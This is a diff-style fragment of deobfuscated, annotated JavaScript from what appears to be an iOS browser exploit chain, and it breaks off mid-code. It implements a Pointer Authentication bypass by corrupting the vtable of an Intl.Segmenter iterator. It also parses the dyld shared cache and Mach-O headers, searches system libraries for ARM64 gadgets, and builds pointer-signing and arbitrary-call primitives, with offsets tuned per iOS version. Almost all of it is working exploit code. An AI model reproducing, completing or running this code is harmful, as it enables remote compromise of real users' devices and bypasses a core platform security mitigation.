MAX_SAFE_HI32 (127) + I: u, // POINTER_MASK (0x7FFFFFFFFF) + B: s // POINTER_TAG_SHIFT (39) + } = utilityModule, + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"); // platform_module + +// ════════════════════════════════════════════════════════════════════════════ +// PAC bypass classes (class it / PACBypassBase and class nn / PACBypass) +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: PACBypassBase — abstract base with stub methods */ +class PACBypassBase { + constructor() { + this.tc = null, // call3 (three-arg PAC call) + this.ic = null, // call4 (four-arg PAC call) + this.cc = !1; // initialized flag + } + pacda(n, t) {// pacda — sign data pointer with context + return new utilityModule.Int64(0, 0); + } + pacia(n, t) {// pacia — sign instruction pointer with context + return new utilityModule.Int64(0, 0); + } + autda(n, t) {// autda — authenticate data pointer + return new utilityModule.Int64(0, 0); + } + autia(n, t) {// autia — authenticate instruction pointer + return new utilityModule.Int64(0, 0); + } + da = this.pacda;er = this.pacia;ha = this.autia;wa = this.autda; +} +const it = PACBypassBase; +r.sc = PACBypassBase; +r.ga = function () { + window.log(`[PAC] Creating PACBypass instance...`); + return new PACBypass(); // factory: create PACBypass instance +}; + +/* Original: PACBypass — Intl.Segmenter-based PAC signing/authentication */ +class PACBypass extends PACBypassBase { + // Sign data pointer: pacda(pointer, context) + pacda(n, t) { + const o = n.Nt(), + c = t.Nt(); + return utilityModule.Int64.fromBigInt(this.Ka(o, c, 0n)); + } + // Sign instruction pointer: pacia(pointer, context) + pacia(n, t) { + const o = n.Nt(), + c = t.Nt(); + return utilityModule.Int64.fromBigInt(this.Ka(o, c, 1n)); + } + // Authenticate instruction pointer: autia(pointer, context) + autia(n, t) { + const o = n.Nt(), + c = t.Nt(); + return utilityModule.Int64.fromBigInt(this.Ka(o, c, 2n)); + } + // Authenticate data pointer: autda(pointer, context) + autda(n, t) { + const o = n.Nt(), + c = t.Nt(); + return utilityModule.Int64.fromBigInt(this.Ka(o, c, 3n)); + } + da = this.pacda;er = this.pacia;wa = this.autda;ha = this.autia; + constructor() { + super(); + window.log(`[PAC] === PAC Bypass (Intl.Segmenter) initialization starting ===`); + // ── Intl.Segmenter PAC bypass flow ────────────────────────── + // 1. Create Intl.Segmenter iterator and locate its ICU BreakIterator vtable + // 2. Find PAC signing gadgets in dyld shared cache libraries + // 3. Corrupt vtable to chain gadgets: sign/auth pointer via iterator.next() + // 4. Use xmlHashScanFull + CFRunLoopObserverCreateWithHandler as call-primitive wrappers + const n = function () { + const n = platformModule.platformState.exploitPrimitive, + t = new Intl.Segmenter("en", { + Pa: "sentence" // "sentence" granularity — triggers ICU BreakIterator + }), + o = []; + for (let n = 0; n < 300; n++) o.push("a"); + const c = o.join(" "), + e = t.segment(c), // create Segments object + { + Ja: l, // CFRunLoopObserverCreateWithHandler gadget info + Ya: r, // gadget addresses (Ua=vtable ptr, ja=dlfcn gadget, etc.) + Oa: i, // enet gadget call targets + ua: a, // PAC signing vtable base address + Ba: s // PAC operation function pointers {da, er, ha, wa} + } = en.Fa(e); // SegmenterExploit.Fa — find all gadgets + // Test call: invoke vtable function via corrupted iterator + en.va(e, r, i, r.Ua, 0x0n, 0x12n, 0x30n); + // Resolve CFRunLoopObserverCreateWithHandler to get a PAC-signed function pointer + const [u, d] = n.allocCString("CFRunLoopObserverCreateWithHandler"),I = en.va(e, r, i, r.ja, d, 0x0n, 0x0n),m = n.read64(l.qa),y = n.read64(l.$a),C = (() => { + try { + // Temporarily overwrite CFRunLoopObserver pointers with stripped PAC values + n.write64(l.qa, cn(r.Ua)), n.write64(l.$a, cn(a)); + // Call through corrupted path to harvest a PAC-signed return value + const t = en.va(e, r, i, I, 0x0n, 0x0n, 0x0n); + return n.read64(t + 0x90n); + } finally { + // Restore original values + n.write64(l.qa, m), n.write64(l.$a, y); + } + })(),[b, g] = n.allocCString("xmlHashScanFull"),h = en.va(e, r, i, r.ja, g, 0x0n, 0x0n, 0x0n), + // Allocate scratch buffers for call frame construction + [p, K] = n.allocZeroBufferPair(32),[L, X] = n.allocZeroBufferPair(48), + // f() — the core PAC-signing call primitive + // Builds a fake xmlHash frame, calls xmlHashScanFull to invoke a PAC-signed pointer + f = (t, o, c, l, a, s) => (n.write64(K + 0x0n, X), n.write32(K + 0x8n, 1), n.write32(K + 0xcn, 1), n.write64(X + 0x0n, 0x0n), n.write64(X + 0x8n, l), n.write64(X + 0x10n, a), n.write64(X + 0x18n, s), n.write64(X + 0x20n, o), n.write32(X + 0x28n, 1), en.va(e, r, i, h, K, t, c)); + // Verify the call primitive works (should return h itself) + if (f(C, cn(h), 0x0n, 0x0n, 0x0n, 0x0n) !== h) throw new Error("f(C, cn(h), 0x0n, 0x0n, 0x0n, 0x0n) !== h"); + return { + Ba: s, // PAC operation addresses {da, er, ha, wa} + // nu — sign/authenticate a PAC pointer (the main primitive) + nu: (n, t, o) => f(C, cn(n), 0xffffffffffffn & t, 1n, t >> 48n, o), + // ic — call a PAC-signed function pointer with 3 extra args + ic: (n, t, o, c) => { + if (cn(n) === n) throw new Error("cn(n) === n"); // must be PAC-signed + return en.va(e, r, i, n, t, o, c); + } + }; + }(); + // Wire up the PAC primitives from the Segmenter exploit + this.Ka = n.nu, // sign/auth call + this.tu = n.ic, // direct PAC call + this.tc = (n, t, o) => {// call3: PAC-signed 3-arg call + const c = n.Nt(), + e = t.Nt(), + l = o.Nt(); + return utilityModule.Int64.fromBigInt(this.tu(c, e, l, 0n)); + }, this.ic = (n, t, o, c) => {// call4: PAC-signed 4-arg call + const e = n.Nt(), + l = t.Nt(), + r = o.Nt(), + i = c.Nt(); + return utilityModule.Int64.fromBigInt(this.tu(e, l, r, i)); + }, this.La = utilityModule.Int64.fromBigInt(n.Ba.pacda), + this.Xa = utilityModule.Int64.fromBigInt(n.Ba.pacia), // pacia address + this.Ga = utilityModule.Int64.fromBigInt(n.Ba.autia), // autia address + this.Ma = utilityModule.Int64.fromBigInt(n.Ba.autda), // autda address + this.cc = !0; // mark initialized + window.log(`[PAC] === PAC Bypass initialized successfully ===`); + } +} +const nn = PACBypass; + +// ════════════════════════════════════════════════════════════════════════════ +// Segmenter offset constants (const tn/on / segmenterOffsets) +// These are offsets into WebKit/ICU internal data structures used to +// locate and corrupt the Intl.Segmenter iterator's BreakIterator vtable. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: segmenterOffsets */ +const segmenterOffsets = (() => { + const n = { + ou: 16, // offset to JSCell inline storage pointer + cu: 328, // offset from inline storage to ICU BreakIterator + eu: 472, // offset to BreakIterator backing store + lu: 512, // offset to BreakIterator internal data + ru: 520, // offset to BreakIterator state + iu: 664, // offset to scratch/temp buffer + au: 8, // offset within backing store to rule table + su: 0, // rule table: row count offset + uu: 4, // rule table: row size offset + du: 12, // rule table: some size field + Iu: 16, // rule table: flags offset + mu: 20, // rule table: row data start + yu: 3, // rule table: per-row data start + Cu: 32, // internal data: lookup table offset + bu: 48, // state: status field offset + gu: 16, // ICU BreakIterator: fake vtable pointer offset + hu: 44, // ICU BreakIterator: position field offset + pu: 48, // ICU BreakIterator: text pointer offset + Ku: 56, // ICU BreakIterator: delegate pointer offset + Lu: 112, // vtable stub size (bytes to copy) + Xu: 8, // rule row header size + fu: 24, // rule table header size + _u: 16, // rule row alignment + Mu: 176, // offset for some internal struct + Tu: 88, // offset within struct + xu: 96, // offset within struct + ku: 24, // offset within struct + Gu: 16, // offset within struct + Du: 40, // offset within struct (changes for iOS >= 16.4) + wu: 28, // offset within struct + Su: 24, // offset within struct + Au: 8, // offset within struct + Zu: 224, // offset for PAC data region + zu: 8, // field offset + Nu: 8, // field offset + Ru: 16, // field offset + Wu: 16, // field offset + Hu: 32, // vtable: virtual function dispatch offset + Vu: 64, // vtable: virtual function 2 offset + Qu: 16, // vtable helper offset + Pu: 56, // call frame: function pointer offset + Ju: 0, // call frame: arg0 offset + Yu: 144, // call frame: result offset + Ou: 152, // call frame: result2 offset + Bu: 168, // call frame: result3 offset + Eu: 0, // sub-frame offset + Fu: 8, // sub-frame offset + vu: 0, // sub-frame offset + Uu: 8, // sub-frame offset + ju: 136, // return value offset + qu: 8, // return value sub-offset + $u: 312 // total frame size + }; + // Adjust offset for iOS >= 16.4 + return platformModule.platformState.iOSVersion >= 160400 && (n.Du = 40), n; + })(), + /* Original: segmenterOffsets (proxied) — throws on unknown property access */ + on = new Proxy(segmenterOffsets, { + get(n, t) { + if (t in n) return n[t]; + throw new Error("segmenterOffsets.on() failed"); + } + }); +const tn = segmenterOffsets; + +// ════════════════════════════════════════════════════════════════════════════ +// stripPACBits helper (function cn / stripPACBits) +// Strips the PAC signature bits from a pointer, leaving only the raw address. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: stripPACBits */ +function cn(n) { + return n & j(u); // n & POINTER_MASK (0x7FFFFFFFFF) — strip upper PAC bits +} + +// ════════════════════════════════════════════════════════════════════════════ +// Image list (class nt / ImageList, second definition — BigInt-based) +// Parses the dyld shared cache to enumerate loaded images and resolve symbols. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: ImageList (second definition, BigInt-based) */ +class nt { + constructor(n) { + this.images = n; + } + // Find a parsed image by path substring (tries multiple path candidates) + tl(...n) { + for (const t of n) + for (const n of this.images) + if (-1 !== n.path.indexOf(t)) return null === n.ol && (n.ol = tt.init(n.ll)), n.ol; + throw new Error("nt.tl(...n) failed"); + } + // Create ImageList from a pointer into the dyld shared cache + static nd(n) { + const t = tt.td(n), + o = (() => { + const n = t.sl("__TEXT"); // find __TEXT segment + if (null === n) throw new Error("null === n"); + return { + Qo: t.al - n.cl, // ASLR slide = base - vmaddr + fl: t.al - n._l // file-to-memory offset + }; + })(), + c = platformModule.platformState.exploitPrimitive.read32(o.fl + 0x1c0n), // imagesOffset in dyld cache header + e = platformModule.platformState.exploitPrimitive.read32(o.fl + 0x1c4n), // imagesCount in dyld cache header + l = [], + r = o.fl + j(c); + for (let n = 0; n < e; n++) { + const c = cn(platformModule.platformState.exploitPrimitive.read64(r + j(32 * n))) + o.Qo, // image address + slide + e = platformModule.platformState.exploitPrimitive.read32(r + j(32 * n) + 0x18n), // path offset + i = platformModule.platformState.exploitPrimitive.readString(o.fl + j(e), 1024); // image path string + l.push({ + path: i, + ll: c, // image load address + ol: t.al === c ? t : null // cache parsed image if it's the same base + }); + } + window.log(`[PAC] Parsed ${l.length} images from dyld shared cache`); + return new nt(l); + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Mach-O parser (class tt / MachOImage, second definition — BigInt-based) +// Parses Mach-O headers directly from memory using BigInt addresses. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: MachOImage (second definition, BigInt-based) */ +class tt { + // Resolve an exported symbol name via the export trie + kl(n) { + if (null !== this.Cl) { + const t = this.Cl.Nn(n); // ExportTrieParser.Nn lookup + return null !== t ? this.al + j(t) : null; + } + throw new Error("tt.kl(n) failed"); + } + // Find a segment by name + sl(n) { + const t = this.Al[n]; + return void 0 !== t ? t : null; + } + // Create MachOImage by scanning backwards from an address to find the Mach-O header + static td(n) { + if (0n === n) throw new Error("0n === n"); + const t = (() => { + let t = n - n % 0x1000n; // page-align downward + for (; + 0xFEEDFACF !== platformModule.platformState.exploitPrimitive.read32(t);) t -= 0x1000n; + return t; + })(); + return tt.init(t); + } + // Parse Mach-O load commands starting from a known header address + static init(n) { + const t = platformModule.platformState.exploitPrimitive.read32(n + j(16)), // ncmds + o = []; + let c = null, // export trie info + e = null, // ASLR slide (base - __TEXT vmaddr) + l = 32; // offset to first load command + for (let r = 0; r < t; r += 1) { + const t = platformModule.platformState.exploitPrimitive.read32(n + j(l)), // cmd type + r = platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(4)); // cmdsize + switch (t) { + case 25:{// LC_SEGMENT_64 (0x19) + const t = Object.create({ + Xe: platformModule.platformState.exploitPrimitive.readString(n + j(l) + j(8), 16), // segname (e.g. "__TEXT") + cl: platformModule.platformState.exploitPrimitive.read64(n + j(l) + j(24)), // vmaddr + ml: platformModule.platformState.exploitPrimitive.read64(n + j(l) + j(32)), // vmsize + _l: platformModule.platformState.exploitPrimitive.read64(n + j(l) + j(40)), // fileoff + dl: platformModule.platformState.exploitPrimitive.read64(n + j(l) + j(48)), // filesize + hl: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(56)), // maxprot + wl: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(60)), // initprot + flags: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(68)), // flags + bl: void 0, // rebased vmaddr (filled later) + yl: (() => { + const t = platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(64)), // nsects + o = new Array(t).fill(null); + for (const t in o) o[t] = { + name: platformModule.platformState.exploitPrimitive.readString(n + j(80 * t) + j(l + 72), 16), // sectname + cl: platformModule.platformState.exploitPrimitive.read64(n + j(80 * t) + j(l + 72) + 0x20n), // addr + ml: platformModule.platformState.exploitPrimitive.read64(n + j(80 * t) + j(l + 72) + 0x28n), // size + _l: platformModule.platformState.exploitPrimitive.read64(n + j(80 * t) + j(l + 72) + 0x30n), // offset + bl: void 0 // rebased addr + }; + return o; + })(), + xl(n) { + for (const t of this.yl) + if (t.name === n) return t; + return null; + } + }); + if ("__TEXT" === t.Xe) {// __TEXT segment — compute slide + if (null !== e) throw new Error("null !== e"); + e = n - t.cl; + } + o.push(t); + break; + } + case 0x80000022 /* LC_DYLD_INFO_ONLY */: + case 0x80000033 /* LC_DYLD_EXPORTS_TRIE */: + if (null !== c) throw new Error("null !== c"); + c = { + me: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(6442450978 === t ? 40 : 8)), // export data offset + size: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(6442450978 === t ? 44 : 12)) // export data size + }; + } + l += r; + } + const r = {}, + i = []; + if (null === e) throw new Error("null === e"); + // Rebase all segments and sections by ASLR slide + for (const n of o) { + n.bl = n.cl + e; + for (const t of n.yl) t.bl = n.cl + e; + n.Xe.length > 0 ? r[n.Xe] = n : i.push(n); + } + return new tt(n, r, i, c); + } + constructor(n, t, o, c) { + this.al = n, // Mach-O header base address (BigInt) + this.Al = t, // segments by name + this.Sl = o, // unnamed segments + this.Cl = (() => {// ExportTrieParser (or null) + if (null === c) return null; + const n = t.__LINKEDIT; // __LINKEDIT segment for export data + if (void 0 === n) return null; + const o = n.bl + j(c.me) - n._l, // compute export trie address in memory + e = new Uint32Array(c.size + 3 >> 2); + for (let n = 0; n < e.length; n++) e[n] = platformModule.platformState.exploitPrimitive.read32(o + j(4 * n)); + return new ExportTrieParser(e.buffer); + })(); + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Export trie parser (class nr / ExportTrieParser and class tr / TrieNodeReader) +// Parses the Mach-O export trie to resolve symbol names to offsets. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: ExportTrieParser */ +class ExportTrieParser { + // Look up a symbol name in the export trie; returns offset or null + Nn(n) { + const t = new TrieNodeReader(this.Tl); // create a TrieNodeReader over the raw trie data + let o = "", + c = !1; + for (; !c;) { + c = !0; + const e = t.El(); // read ULEB128: terminal size + if (0 !== e && n === o) { + const n = t.El(); // read export kind/flags + if (8 !== n && 16 !== n) { + return t.El(); // read ULEB128: symbol offset from image base + } + } + t.pl(e); // skip terminal info bytes + const l = t.gl(); // number of child edges + for (let e = 0; e < l; e += 1) { + const e = t.Il(0, 4132), // read edge label string (null-terminated) + l = t.El(); // read ULEB128: child node offset + if (e.length > 0 && n.startsWith(o + e)) { + o += e, t.ue(l), c = !1; // follow this edge + break; + } + } + } + return null; + } + constructor(n) { + this.Tl = n; // raw trie data (ArrayBuffer) + } +} +const nr = ExportTrieParser; + +/* Original: TrieNodeReader — byte-level reader for export trie traversal */ +class TrieNodeReader { + constructor(n) { + this.Fl = new Uint8Array(n), // raw bytes view + this.en = new DataView(n), // DataView for structured reads + this.Pl = 0; // current read position + } + // Advance position by n bytes + pl(n) { + this.Pl += n; + } + // Seek to absolute position + ue(n) { + this.Pl = n; + } + // Read a single byte and advance + gl() { + const n = this.Fl[this.Pl]; + return this.Pl += 1, n; + } + // Read a string until terminator byte `n` (max `t` chars) + Il(n, t = 256) { + let o = ""; + for (let c = 0; c < t; c++) { + const t = this.gl(); + if (t === n) return o; + o += String.fromCharCode(t); + } + throw new Error("TrieNodeReader.Il(n, t) failed"); + } + // Read ULEB128 encoded integer + El() { + let n = 0, + t = 0; + for (let o = 0; o < 128; o += 1) { + const o = this.gl(); + if (n += (127 & o) << t, t += 7, 0 == (128 & o)) return n; + } + throw new Error("TrieNodeReader.El() failed"); + } +} +const tr = TrieNodeReader; + +// ════════════════════════════════════════════════════════════════════════════ +// ARM64 gadget finder (class or / ARM64GadgetFinder) +// Searches Mach-O __TEXT segments for specific ARM64 instruction sequences +// (gadgets) needed to build the PAC bypass call chain. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: ARM64GadgetFinder */ +class or { + constructor(n) { + this.od = n; // ImageList reference for resolving images + } + // Find a PAC-signed pointer to a known export in data segments + // Searches __AUTH, __AUTH_CONST, __DATA, __DATA_DIRTY for a pointer + // whose stripped value matches the export address + Ul(n) { + const t = n.vl.kl(n.Dl); // resolve export name to address + if (null !== t) + for (const o of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) { + const c = n.Ll.sl(o); + if (null !== c) + for (let n = 0x0n; n < c.ml; n += 0x8n) { + const o = platformModule.platformState.exploitPrimitive.read64(c.bl + n); + if (cn(o) === t) return o; // found PAC-signed pointer + } + } + return null; + } + // Find a PAC-signed pointer to a gadget matching an instruction pattern + // in __TEXT, stored in data segments + Bl(n) { + const t = n.ol.sl("__TEXT"); + if (null === t) return null; + const o = n.Ol; // instruction pattern to match + for (const c of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) { + const e = n.ol.sl(c); + if (null !== e) + for (let n = 0x0n; n < e.ml; n += 0x8n) { + const c = platformModule.platformState.exploitPrimitive.read64(e.bl + n), + l = cn(c); + // Check: stripped pointer is in __TEXT and matches the gadget pattern + if (t.bl <= l && l <= t.bl + t.ml && this.Nl(l, o)) return c; + } + } + return null; + } + // Search __TEXT for an instruction sequence matching pattern `t` + Kl(n, t, o = null) { + const c = n.sl("__TEXT"); + if (null === c) return null; + const e = c.bl; + let l = null !== o ? o - c.bl : 0x0n; + for (; l < c.ml;) { + const n = e + l; + if (this.Nl(n, t, !1)) return n; + l += 0x4n; // ARM64 instructions are 4 bytes + } + return null; + } + // Follow branch instructions (B/BL) from an address, collecting targets + zl(n, t = 64) { + const o = n, + c = []; + let e = 0x0n; + for (; e < j(t);) { + const n = o + e, + t = platformModule.platformState.exploitPrimitive.read32(n); + // Check for B (0x14xxxxxx) or BL (0x94xxxxxx) instructions + if (0x14000000n === (0xfc000000n & j(t)) || 0x94000000n === (0xfc000000n & j(t))) { + const o = 4 * this.Hl(t); // sign-extend the branch offset + c.push(n + j(o)); + } + e += 0x4n; + } + return c; + } + // Search within `o` bytes of address `n` for instruction pattern `t` + Rl(n, t, o = 64) { + const c = n; + let e = 0x0n; + for (; e < j(o);) { + const n = c + e; + if (this.Nl(n, t, !1)) return n; + e += 0x4n; + } + return null; + } + // Sign-extend a 26-bit branch immediate (for B/BL offset decoding) + Hl(n) { + return n << 6 >> 6; + } + // Match an instruction sequence at address `n` against pattern `t` + // Handles ADRP relaxation (ignores page bits) and LDR offset masking + // If `o` is true, follows B branches transparently + Nl(n, t, o = !0) { + let c = 0; + const e = []; + // Build masks: ADRP gets 0x9F00001F (ignore page offset), + // LDR after ADRP gets 0xFFC003FF, B/BL gets 0xFC000000, else exact match + for (const n of t) 0x90000000n === (0x9f000000n & j(n)) ? (e.push(0x9f00001fn), c += 1) : c > 0 && 0xf9400000n === (0xffc00000n & j(n)) ? e.push(0xffc003ffn) : 0x14000000n === (0xfc000000n & j(n)) || 0x94000000n === (0xfc000000n & j(n)) ? e.push(0xfc000000n) : e.push(0xffffffffn); + e.length !== t.length && W(); // assert + let l = n; + for (const n in t) { + const c = platformModule.platformState.exploitPrimitive.read32(l); + if ((j(t[n]) & j(e[n])) != (j(c) & j(e[n]))) return !1; + if (!0 === o && 0x14000000n === (0xfc000000n & j(c))) { + const n = 4 * this.Hl(c); + l += j(n); // follow B branch + } else l += 0x4n; + } + return !0; + } + // Disassemble from address `n` collecting ADRP+LDR pointer references + // Returns list of addresses loaded via ADRP+LDR pairs until RET + Ml(n, t = 768) { + const o = [], + c = new Array(32).fill(null); // register file for tracking ADRP values + let e = !1; + for (let l = 0; l < t; l += 4) { + const t = n + j(l), + r = j(platformModule.platformState.exploitPrimitive.read32(t)); + // Check for RETAB (0xD65F0FFF) or RET (0xD65F03C0) + if (0xd65f0fffn === r || 0xd65f03c0n === r) { + e = !0; + break; + } + // ADRP instruction: compute page address + if (0x90000000n === (0x9f000000n & r)) { + const n = r << 8n >> 13n, // immhi + o = r >> 29n & 3n, // immlo + e = 0x1fn & r, // destination register + l = BigInt.asIntN(32, (n << 2n | o) << 12n); // page offset + c[e] = t - t % 0x1000n + l; + // LDR instruction following ADRP: compute final address + } else if (0xf9400000n === (0xffc00000n & r)) { + const n = r >> 5n & 0x1fn, // base register + t = r >> 10n & 0xfffn, // unsigned offset (scaled by 8) + e = c[n]; + null !== e && (o.push(e + 0x8n * t), c[n] = null); + } + } + if (!e) throw new Error("!e"); + return o; + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Segmenter exploit (const en / SegmenterExploit) +// Core PAC bypass: corrupts Intl.Segmenter iterator's ICU BreakIterator +// vtable to invoke arbitrary PAC-signed function pointers. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: SegmenterExploit */ +const en = { + // ── Fa: Find all gadgets needed for PAC bypass ────────────────── + // Locates PAC signing gadgets in dyld shared cache libraries: + // - _xmlSAX2GetPublicId in libxml2 (vtable pointer) + // - _dlfcn_globallookup in ActionKit (symbol resolver gadget) + // - _autohinter_iterator_end in CoreGraphics (iterator end gadget) + // - anonymous::begin in CoreGraphics (begin gadget) + // - enet_allocate_packet_payload_default in RESync (call chain gadget) + // - CFRunLoopObserverCreateWithHandler in CoreFoundation (PAC signer) + // - Locates PAC signing vtable in dyld itself + Fa(n) { + const t = n[Symbol.iterator](), + o = (() => { + const n = platformModule.platformState.exploitPrimitive.getObjectAddress(t); // addrof(iterator) — get JSC object address + return platformModule.platformState.exploitPrimitive.read64(n + j(on.ou)); // read inline storage pointer + })() + j(on.cu), // offset to ICU BreakIterator + c = platformModule.platformState.exploitPrimitive.read64(o + j(on.Ku)), // read delegate pointer + e = platformModule.platformState.exploitPrimitive.read64(c + j(on.Hu)), // read vtable pointer + l = nt.nd(cn(e)), // parse ImageList from stripped vtable ptr + r = new or(l), // create ARM64GadgetFinder + // Find PAC-signed pointer to _xmlSAX2GetPublicId in libxml2 + i = r.Ul({ + Dl: "_xmlSAX2GetPublicId", // export name to find + vl: l.tl("libxml2.2.dylib"), // image containing the export + Ll: l.tl("libxml2.2.dylib") // image to search for PAC pointer + }); + if (null === i) throw new Error("null === i"); + window.log(`[PAC] Found _xmlSAX2GetPublicId PAC-signed pointer`); + let a; + // ARM64 instruction pattern for _dlfcn_globallookup gadget (ActionKit) + a = [7868719999, 7142789108, 7130414077, 6727681021, 7147095027, 7826571264, 1384120353, 6778795522, 7314866432, 7147095028, 7148340193, 6793607289, 7147095027, 7148405728, 6778795507, 7148340192, 7134608381, 7126274036, 7891521535]; + // Find PAC-signed pointer to _dlfcn_globallookup gadget + const s = r.Bl({ + Dl: "_dlfcn_globallookup", + Ol: a, + ol: l.tl("/System/Library/PrivateFrameworks/ActionKit.framework/ActionKit", "/System/Library/PrivateFrameworks/ActionKit.framework/Versions/A/ActionKit") + }); + if (null === s) throw new Error("null === s"); + window.log(`[PAC] Found _dlfcn_globallookup gadget`); + // Find _autohinter_iterator_end gadget in CoreGraphics + const u = r.Bl({ + Dl: "_autohinter_iterator_end", + Ol: [7314866369, 8476692514, 7314866306, 8476689440, 8476694561, 7887325279], + ol: l.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics", "/System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics") + }); + if (null === u) throw new Error("null === u"); + window.log(`[PAC] Found _autohinter_iterator_end gadget`); + // Find anonymous::begin gadget in CoreGraphics + const d = r.Bl({ + Dl: "'anonymous namespace'::begin(__int64)", + Ol: [8476697608, 7314866376, 8476690691, 7314866307, 8476689664, 8476694786, 7887325311, 7891518400], + ol: l.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics", "/System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics") + }); + if (null === d) throw new Error("null === d"); + window.log(`[PAC] Found anonymous::begin gadget`); + // Find enet_allocate_packet_payload_default gadget in RESync + const I = r.Bl({ + Dl: "enet_allocate_packet_payload_default", + Ol: [7868719999, 7142789108, 7130414077, 6727681021, 7147095027, 7248744520, 8476781832, 7147160544, 7889422623, 7147095028, 7331643520, 7248744520, 8476783880, 7889422623, 8472496756, 7134608381, 7126274036, 7891521535], + ol: l.tl("/System/Library/PrivateFrameworks/RESync.framework/RESync", "/System/Library/PrivateFrameworks/RESync.framework/Versions/A/RESync") + }); + if (null === I) throw new Error("null === I"); + window.log(`[PAC] Found enet_allocate_packet_payload_default gadget`); + // Extract two call targets from enet gadget (branch destinations) + const m = (() => { + const n = r.Ml(cn(I), 560); + if (2 !== n.length) throw new Error("2 !== n.length"); + return { + ed: n[0], // first ADRP+LDR target + ld: n[1] // second ADRP+LDR target + }; + })(), + // Locate dyld4 internal structures to find the PAC signing vtable + [y, C] = (() => { + const n = l.tl("libdyld.dylib").sl("__DATA_DIRTY"); + if (null === n) return null; + const t = n.xl("__dyld4"); // __dyld4 section in libdyld + if (null === t) return null; + const o = platformModule.platformState.exploitPrimitive.read64(t.bl + 8n), // follow pointer chain + c = platformModule.platformState.exploitPrimitive.read64(cn(o)), + e = platformModule.platformState.exploitPrimitive.read64(cn(c)); + return [o, tt.td(cn(e))]; // [dyld4 pointer, parsed dyld MachOImage] + })(); + if (null === C) throw new Error("null === C"); + // Search dyld's __TEXT for the PAC signing vtable + // The vtable contains pacda/pacia/autia/autda gadgets + const b = (() => { + const n = [null], + // Gadget pattern to identify PAC signing dispatch in dyld + t = [7868719999, 7142865917, 6727664637, 8476688393, 7364673929, 7842349352, 7841299747, 7842416932, 7147226080, 7147619298, 7126219773, 7868720127, 7685933008, 7364149328, 7855443488]; + let o; + // Different gadget patterns for iOS >= 16.4 vs older + for (o = platformModule.platformState.iOSVersion >= 160400 ? [7147095025, 7147619312, 7868719391, 335544332, 7147095025, 7147619312, 7965051409, 335544328, 7147095025, 7147619312, 7868719455, 335544324, 7147095025, 7147619312, 7965052433, 7148209120, 7891518400] : [7314866720, 704840680, 7303347457, 1895825503, 6887112968, 1895828639, 1409286728, 704906224, 8338279967, 6889116176, 6710886417, 6731592241, 7393540656, 268435473, 6628049456, 7887323648, 7965049088, 7891518400, 7965051136, 7891518400, 7965050112, 7891518400, 7965052160, 7891518400]; n.length > 0;) { + const c = r.Kl(C, t, n.pop()); + if (null === c) continue; + n.push(c + 0x4n); + const e = r.zl(c, 4 * t.length + 12); + for (const n in e) + if (2 !== e.length) continue; + if (null !== r.Rl(e[0], o, 256)) return c; + } + return null; + })(); + if (null === b) throw new Error("null === b"); + window.log(`[PAC] Found PAC dispatch gadget in dyld`); + // Locate the actual PAC operation addresses (pacda/pacia/autia/autda) + const { + ua: g, // base address of PAC signing vtable + ma: h // individual PAC operation addresses + } = (() => { + let n, t; + // Different offsets for iOS >= 16.4 (uses 0x10 spacing vs 0x8) + platformModule.platformState.iOSVersion >= 160400 ? (t = 0x10n, n = [7147095025, 7147619312, 7868719391, 335544332, 7147095025, 7147619312, 7965051409, 335544328, 7147095025, 7147619312, 7868719455, 335544324, 7147095025, 7147619312, 7965052433, 7148209120, 7891518400]) : (t = 0x8n, n = [7965049088, 7891518400, 7965051136, 7891518400, 7965050112, 7891518400, 7965052160, 7891518400]); + let o = null; + const c = (t) => r.Kl(C, n, t); + if (platformModule.platformState.iOSVersion >= 160400) + for (;;) { + if (o = c(o), null === o) return null; + if (o !== b) break; // skip the first match (it's the dispatch, not the vtable) + o += j(0x4n * n.length); + } else o = c(o); + if (null === o) return null; + return { + ua: o - 0x40n, // vtable base (0x40 before the first entry) + ma: { + pacda: o, // pacda — sign data pointer + autia: o + 1n * t, // autia — authenticate instruction pointer + pacia: o + 2n * t, // pacia — sign instruction pointer + autda: o + 3n * t // autda — authenticate data pointer + } + }; + })(); + if (null === g) throw new Error("null === g"); + if (null === h.pacda) throw new Error("null === h.pacda"); + if (null === h.ha) throw new Error("null === h.ha"); + if (null === h.pacia) throw new Error("null === h.pacia"); + if (null === h.autda) throw new Error("null === h.autda"); + // Find CFRunLoopObserverCreateWithHandler and extract its ADRP+LDR targets + const p = (() => { + const n = l.tl("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", "/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation").kl("_CFRunLoopObserverCreateWithHandler"); + if (null === n) return null; + const t = r.Ml(n, 128); + return 4 !== t.length ? null : { + rd: n, // function address + qa: t[1], // pointer slot 1 (overwritten during PAC bypass) + $a: t[2] // pointer slot 2 (overwritten during PAC bypass) + }; + })(); + if (null === p) throw new Error("null === p"); + window.log(`[PAC] Located CFRunLoopObserverCreateWithHandler — gadget chain complete`); + return { + Ya: { // gadget addresses for vtable corruption + Ua: i, // _xmlSAX2GetPublicId PAC-signed pointer (vtable entry) + ja: s, // _dlfcn_globallookup PAC-signed pointer + ad: null, + sd: u, // _autohinter_iterator_end PAC-signed 